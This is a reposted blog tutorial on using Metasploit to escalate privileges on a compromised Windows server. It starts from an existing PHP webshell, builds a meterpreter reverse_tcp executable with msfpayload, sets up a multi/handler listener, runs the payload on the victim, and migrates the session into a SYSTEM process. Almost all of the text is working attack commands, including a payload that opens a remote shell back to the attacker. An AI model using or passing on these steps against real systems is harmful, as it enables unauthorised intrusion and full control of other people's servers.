[【转载】]MsfPayload反弹完美提权
**Author: V5est0r @binghesec
I am learning MSF recently , So I think it can be used to Promote Authority.**
*Firstly, there is a PHP webshell ;As what can be seen , our current privilege is nt(network user).*
*
*
***Let's configure our MSF:***msfpayload windows/meterpreter/reverse_tcp LHOST=YourIp LPORT=8282 X>/tmp/binghesec.exe

******It will make a file named binghesec.exe in directory "/tmp/" , you should copy it to you local system.
Then execute the following command to listening the port 8282:******
- use exploit/multi/handler
- set PAYLOAD windows/meterpreter/reverse_tcp
- set LHOST YourIp
- set LPORT 8282

Then
show options


If no errors,execute:
exploit

**Then upload the file binghesec.exe to remote server mechine.
Let't run the file binghesec.exe in remote server, oh! what happend??**

*Yeah,The Meterpreter Session has created,*Execute command : shell
then :whoami
nt(network user)**
then back to meterpreter session:exit
Excute "ps" to see the tasklist , try to find a precess running as SYSTEM and mark its pid:**
*
*
Then Execute:
migrate Pid
*Yeah,succeed!Our session has already Transfered to a SYSTEM process:shell -- whoani -- SYSTEM!!*

